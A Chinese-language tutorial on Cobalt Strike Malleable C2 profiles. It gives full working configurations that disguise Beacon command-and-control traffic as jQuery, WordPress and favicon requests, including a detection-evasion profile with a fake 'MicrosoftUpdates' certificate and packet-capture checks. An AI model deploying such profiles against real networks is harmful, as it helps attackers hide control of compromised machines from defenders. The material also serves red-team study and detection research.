Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为
C2配置代码结构
由如下四个部分组成
自定义参数
http-get
http-post
http-stager
其中主要的部分为http-get
,http-post
,http-stager
http-get
,这段仅对通信过程中的 GET 请求有效
再看里面的子结构,主要分为Client
和Server
分别针Beacon对C2的请求和C2对Beacon响应的内容进行修改
再看下其中Client
结构中又分为三个部分,header
,parameter
,metadata
,都是在自定义http报文
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; // 则为http报文中的响应头Accept-Language为zh-CN,zh;q=0.9,en;q=0.8,以此类推,就是自定义http报文
parameter "ver" "1.2.4"; //其实就是当GET请求的时候,一个端点所带的参数,比如 ?ver=1.2.4 这种,同样是自定义http报文
metadata { //其中base64则指明其中的数据需要进行base64编码,prepend声明前缀是token=,header "Cookie"则声明存储在Cookie字段中,那么合起来在http报文中体现的就是Cookie: token=BASE编码的数据
base64;
prepend "token=";
header "Cookie";
}
}
以此类推Server结构中的字段也是这样去理解的!
其中set uri
,为Get请求时候的地址!
整合起来http-get
就是如下的样子:
http-get {
set uri "/jquery.min.js"; #
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}
注意:Cobalt Strike中有个C2lint可以帮助我们对配置文件进行检测,./c2lint my.profile
,如下图就是http-get
部分
这里还会注意到在 http-get请求中 server 和 client大部分都是一样的,但是在 server 中也有不一样的,那么就是output
,这里的output可以理解为 GET 请求响应的的部分,可以从上图里面的响应中看出!
最后还会发现在 http-post
中的 client 也有output
和id
这两个部分,那是什么意思呢?
这里需要知道的就是 在 Beacon 在上传 执行的数据 时是需要对应的 Task ID (这里的Task ID 可以理解为在你CS中的每个Beacon的编号)的, id 块正好是针对 Task ID 的修改,Client
结构中的 output 块则是修改通过 POST 发送的数据, 而在 server
结构中的 output 块仅仅是用于修改响应内容的!
而最后的 http-stager 是用于 stage 过程,当 Beacon 被执行后, 会在 C2 上下载载荷执行,Stage 过程,但是Stageless没有这一个过程!
简单的HTTP Malleable C2 Profile配置:
set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";
http-get {
set uri "/jquery.min.js";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}
http-post {
set uri "/wp-admin";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
id {
base64;
prepend "PHPSESSID=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "text/html; charset=UTF-8";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "image/x-icon";
output {
print;
}
}
}
C2所需要注意的地方:
1.每个Cobalt Strike实例一次使用一个配置文件,也就是说如果更改配置文件或加载新的配置文件,以前部署的Beacon将无法与你通信
2.在开发数据转换时,请始终了解数据的状态以及协议所允许的内容。例如,如果你对base64进行了元数据编码并将其存储在URI参数中,那么它将无法正常工作。为什么?因为在URL中某些base64字符(+,=和/)具有特殊含义,c2lint工具和Profile Compiler不会检测到此类问题。
3.即使进行很小的更改,也要始终测试你的配置文件。如果Beacon无法与你通信,则可能是你的配置文件profile存在问题。编辑它,然后再试一次。
4.信任c2lint工具。该工具超越了概要文件编译器。这些检查基于该技术的实现方式。如果c2lint检查失败,则说明你的配置文件profile存在实际问题。
参考文章:https://www.chabug.org/web/832.html
参考文章:https://www.cobaltstrike.com/help-malleable-c2
实现流量免杀
继续走,介绍完之后来个简单的应用,比如这篇文章的流量免杀!
文章:https://www.zzhsec.com/556.html
其中的C2配置如下:抽取关键的
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "zzhsec.store";
set password "123.zzhsec!";
set alias "zzhsec";
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
进行抓包分析:
这里请求的是http-get,上面已经说过了,http-get中Client
和Server
分别针Beacon对C2的请求和C2对Beacon响应的内容进行修改
在抓包里面分析,自己理解的一般http-get请求包是用来作为连接的作用,定时发送心跳包来维持通信!
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
跟踪TCP流
http-post部分
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
接下来再CS上面执行命令shell whoami
通信包:
跟踪TCP流
Beacon向C2发送的数据都是存储在data字段之后,正好跟C2的配置文件相同
C2响应的数据:
更多的C2配置文件参考:https://github.com/rsmudge/Malleable-C2-Profiles